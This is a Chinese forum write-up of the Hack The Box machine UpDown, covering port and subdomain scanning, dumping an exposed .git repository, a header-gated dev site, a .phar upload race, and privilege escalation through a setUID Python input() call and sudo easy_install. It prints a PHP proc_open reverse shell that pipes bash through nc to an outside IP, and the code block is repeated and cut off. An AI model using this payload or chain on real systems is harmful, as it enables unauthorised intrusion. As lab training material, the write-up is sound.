首页
社区
课程
招聘
[原创]HTB UpDown (MEDIUM)
发表于: 2022-12-20 19:29 1483

[原创]HTB UpDown (MEDIUM)

2022-12-20 19:29
1483

参考链接:c23K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6P5i4y4@1k6h3#2%4k6h3q4C8L8X3g2K6M7#2)9J5k6h3y4G2L8g2)9J5c8X3S2S2j5$3E0Q4x3X3c8@1K9r3g2Q4x3X3c8T1L8%4S2Q4x3X3c8Z5N6r3u0Q4x3X3c8#2M7r3c8G2N6$3&6Q4x3X3c8%4j5h3I4C8N6r3S2J5L8%4g2Y4K9q4)9J5k6o6V1@1x3r3y4X3y4U0M7%4j5$3c8U0
上来还是先扫端口

图片描述
只开了22和80
图片描述
它是个检查网站是打开还是关闭的网站
图片描述
把siteisup.htb写进 /etc/hosts
跑一下子域名

发现dev,添加到/etc/hosts
图片描述
直接访问9a0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8W2N6W2)9J5k6i4y4A6N6r3g2A6M7%4g2H3i4K6u0W2K9s2c8T1i4K6u0r3i4@1f1@1i4@1u0o6i4K6W2m8i4@1f1#2i4K6S2r3i4K6V1I4i4@1f1%4i4K6S2q4i4@1t1H3y4o6l9K6
图片描述
扫一下目录

图片描述
以看到有几个值得注意的目录,包括/dev、/index.php 和/index.php/login
再次使用工具 dirsearch枚举下siteisup.htb/dev
图片描述
发现可访问的0bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4x3g2)9J5k6e0p5%4y4#2)9J5c8X3c8W2N6W2)9J5c8W2)9J5k6h3N6A6N6q4)9J5c8R3`.`.
图片描述
我们可以使用工具 git-dumper 转储 git 存储库
git-dumper参考
3faK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6F1k6i4c8%4L8%4u0C8i4K6u0r3x3K6x3J5y4o6x3&6i4K6u0W2K9s2c8E0L8l9`.`.

图片描述
使用GitKraken打开
下载地址:a88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2B7K9h3q4F1M7$3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8X3u0X3k6X3p5#2z5r3t1^5x3U0x3K6x3H3`.`.
图片描述
翻到一次更新,可以看到服务器有一个安全功能,需要标头“Special-Dev: only4dev”才能访问开发者站点
Special-Dev: only4dev
图片描述
图片描述
成功登录,这个网站可以上传文件,进行网站状态批量查询
图片描述
再去看看网站代码,代码中有个checker.php
上传文件后,代码会执行以下步骤:要求文件小于10kb,检查不允许的文件扩展名,创建目录,上传文件,检查文件中找到的网站是否可用,然后从服务器中删除该文件
图片描述
上传文件会在 /uploads 中创建一个文件夹,该文件夹采用上传时的 md5 哈希名称。它没有过滤掉.phar文件。
为了完成攻击,从文件上传到系统删除它,我们需要争取一些时间。向站点提供一长串要运行的URL。
上传完payload后可以在uploads目录下看到,点击该文件执行代码
图片描述
图片描述
图片描述
可以看到代码执行成功
图片描述
不能使用一些经常用于制作反向 shell 的函数,例如 shell_exec()、popen() 和 fsockopen()。但是不包括函数 proc_open。
图片描述
图片描述
在网站上生成一个shellcode
7c1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2J5k6i4k6K6K9r3g2D9L8s2y4Q4x3X3g2U0L8$3#2Q4x3V1j5`.
图片描述
完整代码为
图片描述

开启本地监听,上传文件并执行
nc -nvlp 9001
图片描述
whoami发现我们以 www-data 身份登录。看一下/etc/passwd文件夹可以看到存在developer用户
图片描述
我们没有获取flag的权限
图片描述
文件siteisup 有一个 setUID 位,运行可执行文件时,它会将权限设置为创建可执行文件的用户(即所有者)的权限,而不是将其设置为启动它的用户。当我们运行可执行文件时,将继承开发者用户的权限。
图片描述
用strings查看下文件
图片描述
它看起来像是对 python 脚本的执行调用。
cat siteisup_test.py 再看看使用的python脚本
图片描述
input() 函数在这里对我们很有用,因为我们可以使用它来执行代码并检索开发人员用户的 SSH 密钥。现在我们将运行可执行文件,在出现提示时添加以下内容

图片描述
保存文件后给权限,连接拿到user flag
图片描述
图片描述
使用 sudo -l 查看我们可以作为开发人员运行的内容
我们可以运行 usr/local/bin/easy_install
fbeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6r3k6G2j5X3W2F1M7#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3k6%4c8X3L8$3u0A6L8Y4y4Q4x3V1k6W2j5i4y4&6i4K6g2X3K9h3&6K6N6r3q4D9L8q4)9J5c8R3`.`.
网站中向我们展示了一种使用 easy_install 程序来提升权限的方法
执行以下命令

图片描述
获得root权限

rustscan 10.10.11.177
rustscan 10.10.11.177
ffuf -u http://siteisup.htb/FUZZ -w wordlist/data/manual/2m-subdomains.txt
ffuf -u http://siteisup.htb/FUZZ -w wordlist/data/manual/2m-subdomains.txt
dirsearch -10.10.11.177
dirsearch -10.10.11.177
python git_dumper.py http://10.10.11.177/dev/.git/ ~/siteup
python git_dumper.py http://10.10.11.177/dev/.git/ ~/siteup
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
 
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
 
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
 
if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt
 
    fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.8 9001 >/tmp/f');
    fclose($pipes[0]);
 
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
 
    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);
 
    echo "command returned $return_value\n";
}
?>
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
 
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
 
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
 
if (is_resource($process)) {
    // $pipes now looks like this:

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2022-12-29 14:27 被hml189编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回